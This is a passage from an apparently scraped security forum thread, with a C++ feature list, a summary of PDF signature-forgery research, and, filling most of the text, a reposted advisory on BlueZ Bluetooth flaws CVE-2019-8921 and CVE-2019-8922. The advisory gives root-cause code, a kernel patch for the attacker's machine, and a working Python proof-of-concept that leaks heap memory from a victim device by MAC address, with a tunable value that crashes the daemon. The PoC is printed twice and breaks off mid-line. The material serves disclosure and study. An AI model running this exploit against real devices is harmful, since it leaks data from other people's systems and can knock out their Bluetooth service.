https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-wordpress-remote-code-execution-vulnerabilities-cve-2019-8942-and-cve-2019-8943/
  23. Nytro

    C++17/14/11

    C++17/14/11 Overview Many of these descriptions and examples come from various resources (see Acknowledgements section), summarized in my own words. Also, there are now dedicated readme pages for each major C++ version. C++17 includes the following new language features: template argument deduction for class templates declaring non-type template parameters with auto folding expressions new rules for auto deduction from braced-init-list constexpr lambda lambda capture this by value inline variables nested namespaces structured bindings selection statements with initializer constexpr if utf-8 character literals direct-list-initialization of enums C++17 includes the following new library features: std::variant std::optional std::any std::string_view std::invoke std::apply std::filesystem std::byte splicing for maps and sets parallel algorithms C++14 includes the following new language features: binary literals generic lambda expressions lambda capture initializers return type deduction decltype(auto) relaxing constraints on constexpr functions variable templates C++14 includes the following new library features: user-defined literals for standard library types compile-time integer sequences std::make_unique C++11 includes the following new language features: move semantics variadic templates rvalue references forwarding references initializer lists static assertions auto lambda expressions decltype template aliases nullptr strongly-typed enums attributes constexpr delegating constructors user-defined literals explicit virtual overrides final specifier default functions deleted functions range-based for loops special member functions for move semantics converting constructors explicit conversion functions inline-namespaces non-static data member initializers right angle brackets C++11 includes the following new library features: std::move std::forward std::thread std::to_string type traits smart pointers std::chrono tuples std::tie std::array unordered containers std::make_shared memory model std::async Sursa: https://github.com/AnthonyCalandra/modern-cpp-features
      • 1
      • Upvote
  24. How to break PDF Signatures If you open a PDF document and your viewer displays a panel (like you see below) indicating that the document is signed by invoicing@amazon.de and the document has not been modified since the signature was applied You assume that the displayed content is precisely what invoicing@amazon.de has created. During recent research, we found out that this is not the case for almost all PDF Desktop Viewers and most Online Validation Services. So what is the problem? With our attacks, we can use an existing signed document (e.g., amazon.de invoice) and change the content of the document arbitrarily without invalidating the signatures. Thus, we can forge a document signed by invoicing@amazon.de to refund us one trillion dollars. To detect the attack, you would need to be able to read and understand the PDF format in depth. Most people are probably not capable of such thing (PDF file example). To recap this, you can use any signed PDF document and create a document which contains arbitrary content in the name of the signing user, company, ministry or state. Important: To verify the signature you need to trust the amazon.de certificate, which you would if you get signed PDFs from Amazon, otherwise the signature is still valid, but the certificate is not trusted. Furthermore, due to our responsible disclosure process, most applications already implemented countermeasure against our attack, you can find a vulnerable Adobe Acrobat DC Reader version here. Who uses PDF Signatures? Since 2014, organizations delivering public digital services in an EU member state are required to support digitally signed documents such as PDF files by law (eIDAS). In Austria, every governmental authority digitally signs any document §19. Also, any new law is legally valid after its announcement within a digitally signed PDF. Several countries like Brazil, Canada, the Russian Federation, and Japan also use and accept digitally signed documents. The US government protects PDF files with PDF signatures, and individuals can report tax withholdings by signing and submitting a PDF. Outside Europe, Forbes calls the electronic signature and digital transactions company DocuSign as No. 4 in its Cloud 100 list. Many companies sign every document they deliver (e.g., Amazon, Decathlon, Sixt). Standardization documents, such as ISO and DIN, are also protecting by PDF signatures. Even in the academic world, PDF signatures are sometimes used to sign scientific papers (e.g., ESORICS proceedings). According to Adobe Sign, the company processed 8 billion electronic and digital signatures in 2017 alone. Currently, we are not aware of any exploits using our attacks. How bad is it? We evaluated our attacks against two types of applications. The commonly known desktop applications everyone uses on a daily bases and online validation services. The last one is often used in the business world to validate the signature of a PDF document returning a validation report as a result. During our research, we identified 21 out of 22 desktop viewer applications and 5 out of 7 online validation services vulnerable against at least one of our attacks. You can find the detailed results of our evaluation on the following web pages: Desktop Viewer Applications Online Validation Services How can I protect myself? As part of our research, we started a responsible disclosure procedure on 9th October 2018, after we identified 21 out 22 desktop viewer applications and 5 out of 7 online validation services vulnerable against at least one of our attacks. In cooperation with the BSI-CERT, we contacted all vendors, provided proof-of-concept exploits, and helped them to fix the issues. You can take a look at which PDF Reader you are using and compare the versions. If you use one of our analyzed Desktop Viewer Applications you already should have got an update for you Reader. My PDF Reader is not listed If you use another Reader, you should contact the support team for your application. Continue reading Sursa: https://www.pdf-insecurity.org/
      • 2
      • Upvote
      • Like
  25. SSD Advisory – Linux BlueZ Information Leak and Heap Overflow February 25, 2019 (This advisory follows up on a presentation provided during our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon – June 2019 in Seoul for more offensive security lectures and training) Vulnerabilities Summary The following advisory discuss about two vulnerabilities found in Linux BlueZ bluetooth module. One of the core ideas behind Bluetooth is allowing interoperability between a wide range of devices from different manufacturers. This is one of the reasons that the Bluetooth specification is extremely long and complex. Detailed descriptions of a wide range of protocols that support all common use-cases ensure that different Bluetooth implementations can work together. However, from an attackers point of view this also means that there is a lot of unneeded complexity in the Bluetooth stack which provides a large attack surface. Due to the modular nature of Bluetooth, some critical features such as packet fragmentation are found redundantly in multiple protocols that are part of the Bluetooth core specification. This makes correct implementation very complicated and increases the likelihood of security issues. Vendor Response We have contacted the Bluez maintainer on 23/8/2018 and sent a report describing the two vulnerabilities. The vendor responded “I got the message and was able to decrypt it, but frankly I don’t know when I get to look at it at confirm the issue.”. We have sent few more emails to the vendor since the first report and also proposed patches for the vulnerabilities but no fix has been issued until the day of writing this post. Proposed patches have been provided by, Luiz Augusto von Dentz, at the bottom of this advisory. CVE CVE-2019-8921 CVE-2019-8922 Credit An independent security researcher, Julian Rauchberger, has reported this vulnerability to SSD Secure Disclosure program. Affected systems Linux systems with BlueZ module with versions 5.17-5.48 (latest at the time of writing this advisory) Vulnerability Details To support the huge range of potential use cases for Bluetooth, the specification describes many different protocols. For the vulnerabilities detailed in this advisory, we will focus on two core protocols: L2CAP and SDP. L2CAP Simply speaking, L2CAP can be seen as the TCP layer of Bluetooth. It is responsible for implementing low-level features such as multiplexing and flow control. What would be called a “port” in TCP is the “Protocol/Service Multiplexer” (PSM) value in L2CAP. Authentication and Authorization is generally handled on higher layers, meaning that an attacker can open a L2CAP connection to any PSM they want and send whatever crafted packets they wish. From a technical point of view, BlueZ implements L2CAP inside the kernel as a module. SDP SDP is the Service Discovery Protocol. It is implemented above L2CAP as a “service” running on PSM 0x0001. Since the PSM is only a 16-bit number, it is not possible to assign a unique PSM to every Bluetooth service imaginable. SDP can translate globally unique UUIDs to a dynamic PSM used on a specific device. For instance, a vendor specific service has the same UUID on all devices but might run on PSM 0x0123 on device A and PSM 0x0456 on device B. It is the job of SDP to provide this information to devices that wish to connect to the service. Example * Device A opens a L2CAP connection to PSM 0x0001 (SDP) on device B * Device A asks “what is the PSM for the service with UUID 0x12345678?” * Device B responds with “PSM 0x1337” * Device A opens an L2CAP connection to PSM 0x1337 SDP is also used to advertise all the Bluetooth Profiles (services/features) a device supports. It can be queried to send a list of all services running on the device as well as their attributes (mostly simple key/value pairs). The SDP protocol is implemented in a userspace daemon by BlueZ. Since it requires high privileges, this daemon normally runs as root, meaning vulnerabilities should result in full system compromise in most cases. PoC’s and Testing Environment The PoC’s attached at the end of this advisory have been tested against BlueZ 5.48 (the newest version at the time of writing), BlueZ 5.17 (a very old version from 2014), as well as a few in between. The PoC’s have been written for Python 2.7 and have two dependencies, please install them first: * pybluez (to send Bluetooth packets) * pwntools (for easier crafting of packets and hexdump()) run them with: python sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX python sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX (where XX:XX:XX:XX:XX:XX is the Bluetooth MAC address of the victim device) Please ensure that the Bluetooth is activated and the device is discoverable (called “visible” in most of the GUIs) It might be necessary to update the SERVICE_REC_HANDLE and/or SERVICE_ATTR_ID to get the PoC’s to work. These values can differ between devices. They are advertised by SDP so it could be automated to find them but we didn’t implemented that. Detailed information is inside the comments of the PoC’s. Vulnerability 1: SDP infoleak Note: All line numbers and filenames referenced here were taken from BlueZ 5.48 which is the newest version at the time of writing. The vulnerability lies in the handling of a SVC_ATTR_REQ by the SDP implementation of BlueZ. By crafting a malicious CSTATE, it is possible to trick the server into returning more bytes than the buffer actually holds, resulting in leaking arbitrary heap data. Background This vulnerability demonstrates very well issues arising due to the aforementioned complexity caused by the redundant implementation of some features in multiple protocols. Even though L2CAP already provides sufficient fragmentation features, SDP defines its own. However, incorrect implementation in BlueZ leads to a significant information leak. One of the features of SDP is to provide the values of custom attributes a service might have. The client sends the ID of an attribute and SDP responds with the corresponding value. If the response to an attribute request is too large to fit within a single SDP packet, a “Continuation State” (cstate) is created. Here is how it should work in theory: client sends an attribute request server sees that the response is too large to fit in the reply server appends arbitrary continuation state data to the response client recognizes this means the response is not complete yet client sends the same request again, this time including the continuation state data sent by the server server responds with the rest of the data According to the specification, the cstate data can be arbitrary data, basically whatever the specific implementation wants and the client is required to send the same request again, including the cstate data sent by the server. The implementation of this mechanism in BlueZ is flawed. A malicious client can manipulate the cstate data it sends in the second request. The server does not check this and simply trusts that the data is the same. This leads to an infloleak described in the next section. Root cause analysis The root cause can be found in the function service_attr_req on line 633 of src/sdpd-request.c 721 if (cstate) { 722 sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); 723 724 SDPDBG("Obtained cached rsp : %p", pCache); 725 726 if (pCache) { 727 short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); 728 pResponse = pCache->data; 729 memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); 730 buf->data_size += sent; 731 cstate->cStateValue.maxBytesSent += sent; 732 733 SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", 734 pCache->data_size, sent, cstate->cStateValue.maxBytesSent); 735 if (cstate->cStateValue.maxBytesSent == pCache->data_size) 736 cstate_size = sdp_set_cstate_pdu(buf, NULL); 737 else 738 cstate_size = sdp_set_cstate_pdu(buf, cstate); 739 } else { 740 status = SDP_INVALID_CSTATE; 741 error("NULL cache buffer and non-NULL continuation state"); 742 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 721 if (cstate) { 722 sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); 723 724 SDPDBG("Obtained cached rsp : %p", pCache); 725 726 if (pCache) { 727 short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); 728 pResponse = pCache->data; 729 memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); 730 buf->data_size += sent; 731 cstate->cStateValue.maxBytesSent += sent; 732 733 SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", 734 pCache->data_size, sent, cstate->cStateValue.maxBytesSent); 735 if (cstate->cStateValue.maxBytesSent == pCache->data_size) 736 cstate_size = sdp_set_cstate_pdu(buf, NULL); 737 else 738 cstate_size = sdp_set_cstate_pdu(buf, cstate); 739 } else { 740 status = SDP_INVALID_CSTATE; 741 error("NULL cache buffer and non-NULL continuation state"); 742 } The main issue here is in line 727 where BlueZ calculates how many bytes should be sent to the client. The value of max_rsp_size can be controlled by the attacker but normally the MIN function should ensure that it cannot be larger than than the actual bytes available. The vulnerability is that we can cause an underflow when calculating (pCache->data_size – cstate->cStateValue.maxBytesSent) which causes that value to be extremely high when interpreted as an unsigned integer. MIN will then return whatever we sent as max_rsp_size since it is smaller than the result of the underflow. pCache->data_size is how large the initially generated response has been. cstate->cStateValue.maxBytesSent is directly read from the cstate we sent to the server. So we can set it to any value we want. If we set maxBytesSent to a value higher than data_size, we trigger an underflow that allows us to cause MIN() to return our max_rsp_size which lets us set “sent” to any value we want. The memcpy in line 729 will then copy all that data to the response buffer which later gets sent to us. Since “sent” is a signed short, we have two possible ways to exploit this: If we set sent to value <= 0x7FFF it is treated as a positive integer and we will get sent this amount of bytes back. If we set it to 0x8000 or larger it will be treated as a negative value, meaning zero expansion will fill all the most significant bits with 1, resulting in a extremely large copy operation in line 729 that is guaranteed to crash the program. So this vulnerability can be either used as a infoleak to leak up 0x7FFF bytes or as a Denial of Service that crashes the bluetooth application. Triggering the vulnerability To trigger this vulnerability, we first send a legitimate attribute request to the server. In our request, we can specify how many bytes we are willing to accept within a single response packet. Since we already know how large the response will be, we set this so the response will be one byte too large. This results in the server storing that there is one byte left it hadn’t sent us yet. The server also sends us a cstate that contains how many bytes it has already sent us. For simplicity, we call this value the “offset”. Then we send the same request again, but we increase the “offset” contained in the cstate to create the underflow described above. For detailed documentation about how the packets we send look exactly, please refer to the comments in the Python PoC file. Vulnerability 2: SDP Heap Overflow Like the information leak, this vulnerability lies in the SDP protocol handling of attribute requests as well. By requesting a huge number of attributes at the same time, an attacker can overflow the static buffer provided to hold the response. Normally, it would not be possible to request so many attributes but we will demonstrate a trick that allows us to do so. Root cause analysis In the same function service_attr_req of src/sdpd-request.c, in line 745 the function extract_attrs is called. 744 sdp_record_t *rec = sdp_record_find(handle); 745 status = extract_attrs(rec, seq, buf); 746 if (buf->data_size > max_rsp_size) { 747 sdp_cont_state_t newState; 748 749 memset((char *)&newState, 0, 1 2 3 4 5 6 744 sdp_record_t *rec = sdp_record_find(handle); 745 status = extract_attrs(rec, seq, buf); 746 if (buf->data_size > max_rsp_size) { 747 sdp_cont_state_t newState; 748 749 memset((char *)&newState, 0, This function is used to find the actual values for all the attributes requested by the client. Inside it, we find the following code: 606 for (attr = low; attr < high; attr++) { 607 data = sdp_data_get(rec, attr); 608 if (data) 609 sdp_append_to_pdu(buf, data); 610 } 611 data = sdp_data_get(rec, high); 612 if (data) 613 sdp_append_to_pdu(buf, data); 1 2 3 4 5 6 7 8 606 for (attr = low; attr < high; attr++) { 607 data = sdp_data_get(rec, attr); 608 if (data) 609 sdp_append_to_pdu(buf, data); 610 } 611 data = sdp_data_get(rec, high); 612 if (data) 613 sdp_append_to_pdu(buf, data); The important part here is that after getting the values of the attributes with sdp_data_get, they are simply appended to the buffer with sdp_append_to_pdu. The code of this function can be found in lib/sdp.c 2871 void sdp_append_to_pdu(sdp_buf_t *pdu, sdp_data_t *d) 2872 { 2873 sdp_buf_t append; 2874 2875 memset(&append, 0, sizeof(sdp_buf_t)); 2876 sdp_gen_buffer(&append, d); 2877 append.data = malloc(append.buf_size); 2878 if (!append.data) 2879 return; 2880 2881 sdp_set_attrid(&append, d->attrId); 2882 sdp_gen_pdu(&append, d); 2883 sdp_append_to_buf(pdu, append.data, append.data_size); 2884 free(append.data); 2885 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 2871 void sdp_append_to_pdu(sdp_buf_t *pdu, sdp_data_t *d) 2872 { 2873 sdp_buf_t append; 2874 2875 memset(&append, 0, sizeof(sdp_buf_t)); 2876 sdp_gen_buffer(&append, d); 2877 append.data = malloc(append.buf_size); 2878 if (!append.data) 2879 return; 2880 2881 sdp_set_attrid(&append, d->attrId); 2882 sdp_gen_pdu(&append, d); 2883 sdp_append_to_buf(pdu, append.data, append.data_size); 2884 free(append.data); 2885 } What happens here is that an appropriately sized sdp_buf_t is created and the new data is copied into it. After that, sdp_append_to_buf is called to append this data to the buffer originally passed by extract_attrs. sdp_append_to_buf can be found in the same file, the relevant part is here: 2829 void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) 2830 { 2831 uint8_t *p = dst->data; 2832 uint8_t dtd = *p; 2833 2834 SDPDBG("Append src size: %d", len); 2835 SDPDBG("Append dst size: %d", dst->data_size); 2836 SDPDBG("Dst buffer size: %d", dst->buf_size); 2837 if (dst->data_size == 0 && dtd == 0) { 2838 /* create initial sequence */ 2839 *p = SDP_SEQ8; 2840 dst->data_size += sizeof(uint8_t); 2841 /* reserve space for sequence size */ 2842 dst->data_size += sizeof(uint8_t); 2843 } 2844 2845 memcpy(dst->data + dst->data_size, data, len); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 2829 void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) 2830 { 2831 uint8_t *p = dst->data; 2832 uint8_t dtd = *p; 2833 2834 SDPDBG("Append src size: %d", len); 2835 SDPDBG("Append dst size: %d", dst->data_size); 2836 SDPDBG("Dst buffer size: %d", dst->buf_size); 2837 if (dst->data_size == 0 && dtd == 0) { 2838 /* create initial sequence */ 2839 *p = SDP_SEQ8; 2840 dst->data_size += sizeof(uint8_t); 2841 /* reserve space for sequence size */ 2842 dst->data_size += sizeof(uint8_t); 2843 } 2844 2845 memcpy(dst->data + dst->data_size, data, len); As we can see, there isn’t any check if there is enough space in the destination buffer. The function simply appends all data passed to it. To sum everything up, the values of all attributes that are requested will simply be appended to the output buffer. There are no size checks whatsoever, resulting in a simple heap overflow if one can craft a request where the response is large enough to overflow the preallocated buffer. service_attr_req gets called by process_request (also in src/sdpd-request.c) which also allocates the response buffer. 968 static void process_request(sdp_req_t *req) 969 { 970 sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *)req->buf; 971 sdp_pdu_hdr_t *rsphdr; 972 sdp_buf_t rsp; 973 uint8_t *buf = malloc(USHRT_MAX); 974 int status = SDP_INVALID_SYNTAX; 975 976 memset(buf, 0, USHRT_MAX); 977 rsp.data = buf + sizeof(sdp_pdu_hdr_t); 978 rsp.data_size = 0; 979 rsp.buf_size = USHRT_MAX - sizeof(sdp_pdu_hdr_t); 980 rsphdr = (sdp_pdu_hdr_t *)buf; 1 2 3 4 5 6 7 8 9 10 11 12 13 968 static void process_request(sdp_req_t *req) 969 { 970 sdp_pdu_hdr_t *reqhdr = (sdp_pdu_hdr_t *)req->buf; 971 sdp_pdu_hdr_t *rsphdr; 972 sdp_buf_t rsp; 973 uint8_t *buf = malloc(USHRT_MAX); 974 int status = SDP_INVALID_SYNTAX; 975 976 memset(buf, 0, USHRT_MAX); 977 rsp.data = buf + sizeof(sdp_pdu_hdr_t); 978 rsp.data_size = 0; 979 rsp.buf_size = USHRT_MAX - sizeof(sdp_pdu_hdr_t); 980 rsphdr = (sdp_pdu_hdr_t *)buf; On line 973, the response buffer gets allocated with size USHRT_MAX meaning it will be 2^16 bytes large. So in order to overflow this buffer we need to generate a response that is larger than 2^16 bytes. While SDP does not restrict how many attributes we can request within a single packet, we are limited by the outgoing maximum transmission unit L2CAP forces us to use. For SDP, this seems to be hardcoded as 672 bytes. So the problem in exploiting this vulnerability is that we can only send a very small request but need to generate a large response. Some attributes are rather long strings, but even by requesting the longest string we found we could not even get close to generating a response large enough. SDP also has a feature where we can not only request one attribute at a time but also a range of attributes. This requires us to only send the starting and ending IDs. SDP will then return all attributes within that range. Unfortunately, the response generated by this also wasn’t large enough. Since the limiting factor seemed to be the MTU imposed by L2CAP, after investigating further how this MTU gets set and if we can do anything about it. Normally, we can only specifiy the maximum size of incoming packets (IMTU) but not the size of packets the other side is willing to accept (OMTU). After looking at the way L2CAP handles the negotiation of these values we found that it is also possible to reject the configuration supplied by the other side. If we reject a configuration parameter, we can supply a suggestion of a better value that we would accept. If this happens for the OMTU, the BlueZ will simply accept whatever suggestion it gets sent. This allows us to force the other side to use whatever OMTU we want. Then we can send much larger SDP attribute requests, containing enough attributes to overflow the heap. In a simplified way, this is how the MTU negotiation looks like: attacker: I want to open a L2CAP connection, my MTU is 65536 victim: ok, I will send you packets up to 65536 bytes, my MTU is 672, please do not send larger packets (normally, we would be done here) attacker: that MTU is not acceptable for me, I will only open the connection if I can send you packets up to 65536 victim: ok, I will allow you to send packets up to 65536 bytes Unfortunately, Linux does not allow us to reject any MTU values so we modified the kernel on the attacker machine to implement the behavior described above. Please note that this behavior is not really a security vulnerability in itself. It does follow the specification which describes that it should be possible to reject configuration parameters and suggest acceptable ones. Normally it would not be a problem to increase MTU size, it is simply due to the heap overflow that this causes trouble. Modifying the kernel Important: only the ATTACKER has to modify their kernel. The victim kernel does not need to be modified otherwise there wasn’t a vulnerability at all. In our case, we used a Linux 4.13 kernel. Here are the required modifications: Before compiling the kernel, you need to modify l2cap_parse_conf_req in net/bluetooth/l2cap_core.c 3428 if (result == L2CAP_CONF_SUCCESS) { 3429 /* Configure output options and let the other side know 3430 * which ones we don't like. */ 3431 3432 if (mtu < L2CAP_DEFAULT_MIN_MTU) { 3433 result = L2CAP_CONF_UNACCEPT; 3434 } else if(chan->omtu != 65535){ 3435 set_bit(CONF_MTU_DONE, &chan->conf_state); 3436 printk(KERN_INFO "hax setting omtu to 65535 from %d\n",chan->omtu); 3437 chan->omtu = 65535; 3438 result = L2CAP_CONF_UNACCEPT; 3439 3440 } else { 3441 chan->omtu = mtu; 3442 set_bit(CONF_MTU_DONE, &chan->conf_state); 3443 } 3444 l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu, endptr - ptr); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 3428 if (result == L2CAP_CONF_SUCCESS) { 3429 /* Configure output options and let the other side know 3430 * which ones we don't like. */ 3431 3432 if (mtu < L2CAP_DEFAULT_MIN_MTU) { 3433 result = L2CAP_CONF_UNACCEPT; 3434 } else if(chan->omtu != 65535){ 3435 set_bit(CONF_MTU_DONE, &chan->conf_state); 3436 printk(KERN_INFO "hax setting omtu to 65535 from %d\n",chan->omtu); 3437 chan->omtu = 65535; 3438 result = L2CAP_CONF_UNACCEPT; 3439 3440 } else { 3441 chan->omtu = mtu; 3442 set_bit(CONF_MTU_DONE, &chan->conf_state); 3443 } 3444 l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->omtu, endptr - ptr); We added the “else if” that ensures we do not accept the configuration as long as the OMTU isn’t 65535. Additionally we added a printk so we can check that the branch has been triggered correctly by viewing kernel. Once you compile your modified kernel, you can run the PoC attached to this writeup. Conclusion Implementing a complete Bluetooth stack correctly is extremely challenging. There are dozens of different protocols involved which often implement the same features. This can for instance be seen with the fragmentation in SDP. All this complexity creates a huge attack surface. We have demonstrated that only within a single, commonly used protocol multiple critical issues can be found. It seems highly likely that other parts of BlueZ contain similar vulnerabilities, more research is definitely required to ensure the Linux Bluetooth stack is secure from attacks. Exploits Information leak PoC: from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the configuration here depends on the victim device. # Discovery could be automated but for a simple PoC it would be a bit overkill # the attacker can simply gather the required information by running # sdptool browse --xml XX:XX:XX:XX:XX:XX # on his machine (replace XX:XX:XX:XX:XX:XX with victim MAC) # I have chosen to request attributes from the Generic Access Profile # but it does not really matter as long as we can generate a response with a # size large enough to create a continuation state # on my machine, sdptool prints the following: # <attribute id="0x0000"> # <uint32 value="0x00010001" /> # </attribute> # [...] # <attribute id="0x0102"> # <text value="BlueZ" /> # </attribute> # please replace these values if they should not match your victim device # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 # the attribute we want to request (in this case, the String "BlueZ") SERVICE_ATTR_ID = 0x0102 target = args['TARGET'] # TARGET Mac address mtu = 65535 # MTU to use context.endian = 'big' # this is how many bytes we want to leak # you can set it up to 0x7FFF # if you set it to 0x8000 or higher, the victim will crash # I have experienced that with slow Bluetooth hardware, large leaks can # sometimes result in timeouts so I don't recommend to set it larger than # 0x0FFF for this PoC LEAK_BYTES = 0x0FFF # this function crafts a SDP attribute request packet # handle: the service we want to query # max_rsp_size: how many bytes we are willing to accept in a single response packet # attr: the attribute(s) we want to query # cstate: the cstate to send def sdppacket(handle, max_rsp_size, attr, cstate): # craft packet to reach vulnerable code pkt = "" pkt += p32(handle) # handle pkt += p16(max_rsp_size)# max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr # append cstate if cstate: pkt += p8(len(cstate)) pkt += cstate else: pkt += p8(0x00) # no cstate pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ (we want to send an attribute request) pduhdr += p16(0x0000) # TID, doesn't matter pduhdr += p16(len(pkt)) # plen, length of body return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 0x0001)) # connect to target on PSM 0x0001 (SDP) log.info('Sending packet to prepare serverside cstate') # the attribute we want to read attr = p8(0x09) # length of ATTR_ID (SDP_UINT16 - see lib/sdp.h) attr += p16(SERVICE_ATTR_ID) # craft the packet sdp = sdppacket( SERVICE_REC_HANDLE, # the service handle 101, # max size of the response we are willing to accept attr*10, # just request the same attribute 10 times, response will be 102 bytes large None) # no cstate for now sock.send(sdp) # receive response to first packet data = sock.recv(mtu) # parse the cstate we received from the server cstate_len_index = len(data)-9 cstate_len = u8(data[cstate_len_index], endian='little') # sanity check: cstate length should always be 8 byte if cstate_len != 8: log.error('We did not receive a cstate with the length we expected, check if the attribute ids are correct') exit(1) # the cstate contains a timestamp which is used as a "key" on the server to find the # cstate data again. We will just send the same value back timestamp = u32(data[cstate_len_index+1:cstate_len_index+5], endian='little') # offset will be the value of cstate->cStateValue.maxBytesSent when we send it back offset = u16(data[cstate_len_index+5:cstate_len_index+7], endian='little') log.info("cstate: len=%d timestamp=%x offset=%d" % (cstate_len, timestamp, offset)) if offset != 101: log.error('we expected to receive an offset of size 101, check if the attribute request is correct') exit(2) # now we craft our malicious cstate cstate = p32(timestamp, endian='little') # just send back the same timestamp cstate += p16(offset+100, endian='little') # increase the offset by 100 to cause underflow cstate += p16(0x0000, endian='little') # 0x0000 to indicate end of cstate log.info('Triggering infoleak...') # now we send the second packet that triggers the information leak # the manipulated CSTATE will cause an underflow that will make the server # send us LEAK_BYTES bytes instead of the correct amount. sdp = sdppacket(SERVICE_REC_HANDLE, LEAK_BYTES, attr*10, cstate) sock.send(sdp) # receive leaked data data = sock.recv(mtu) log.info("The response is %d bytes large" % len(data)) print hexdump(data) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_infoleak_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the configuration here depends on the victim device. # Discovery could be automated but for a simple PoC it would be a bit overkill # the attacker can simply gather the required information by running # sdptool browse --xml XX:XX:XX:XX:XX:XX # on his machine (replace XX:XX:XX:XX:XX:XX with victim MAC) # I have chosen to request attributes from the Generic Access Profile # but it does not really matter as long as we can generate a response with a # size large enough to create a continuation state # on my machine, sdptool prints the following: # <attribute id="0x0000"> # <uint32 value="0x00010001" /> # </attribute> # [...] # <attribute id="0x0102"> # <text value="BlueZ" /> # </attribute> # please replace these values if they should not match your victim device # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 # the attribute we want to request (in this case, the String "BlueZ") SERVICE_ATTR_ID = 0x0102 target = args['TARGET'] # TARGET Mac address mtu = 65535 # MTU to use context.endian = 'big' # this is how many bytes we want to leak # you can set it up to 0x7FFF # if you set it to 0x8000 or higher, the victim will crash # I have experienced that with slow Bluetooth hardware, large leaks can # sometimes result in timeouts so I don't recommend to set it larger than # 0x0FFF for this PoC LEAK_BYTES = 0x0FFF # this function crafts a SDP attribute request packet # handle: the service we want to query # max_rsp_size: how many bytes we are willing to accept in a single response packet # attr: the attribute(s) we want to query # cstate: the cstate to send def sdppacket(handle, max_rsp_size, attr, cstate): # craft packet to reach vulnerable code pkt = "" pkt += p32(handle) # handle pkt += p16(max_rsp_size)# max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr # append cstate if cstate: pkt += p8(len(cstate)) pkt += cstate else: pkt += p8(0x00) # no cstate pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ (we want to send an attribute request) pduhdr += p16(0x0000) # TID, doesn't matter pduhdr += p16(len(pkt)) # plen, length of body return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 0x0001)) # connect to target on PSM 0x0001 (SDP) log.info('Sending packet to prepare serverside cstate') # the attribute we want to read attr = p8(0x09) # length of ATTR_ID (SDP_UINT16 - see lib/sdp.h) attr += p16(SERVICE_ATTR_ID) # craft the packet sdp = sdppacket( SERVICE_REC_HANDLE, # the service handle 101, # max size of the response we are willing to accept attr*10, # just request the same attribute 10 times, response will be 102 bytes large None) # no cstate for now sock.send(sdp) # receive response to first packet data = sock.recv(mtu) # parse the cstate we received from the server cstate_len_index = len(data)-9 cstate_len = u8(data[cstate_len_index], endian='little') # sanity check: cstate length should always be 8 byte if cstate_len != 8: log.error('We did not receive a cstate with the length we expected, check if the attribute ids are correct') exit(1) # the cstate contains a timestamp which is used as a "key" on the server to find the # cstate data again. We will just send the same value back timestamp = u32(data[cstate_len_index+1:cstate_len_index+5], endian='little') # offset will be the value of cstate->cStateValue.maxBytesSent when we send it back offset = u16(data[cstate_len_index+5:cstate_len_index+7], endian='little') log.info("cstate: len=%d timestamp=%x offset=%d" % (cstate_len, timestamp, offset)) if offset != 101: log.error('we expected to receive an offset of size 101, check if the attribute request is correct') exit(2) # now we craft our malicious cstate cstate = p32(timestamp, endian='little') # just send back the same timestamp cstate += p16(offset+100, endian='little') # increase the offset by 100 to cause underflow cstate += p16(0x0000, endian='little') # 0x0000 to indicate end of cstate log.info('Triggering infoleak...') # now we send the second packet that triggers the information leak # the manipulated CSTATE will cause an underflow that will make the server # send us LEAK_BYTES bytes instead of the correct amount. sdp = 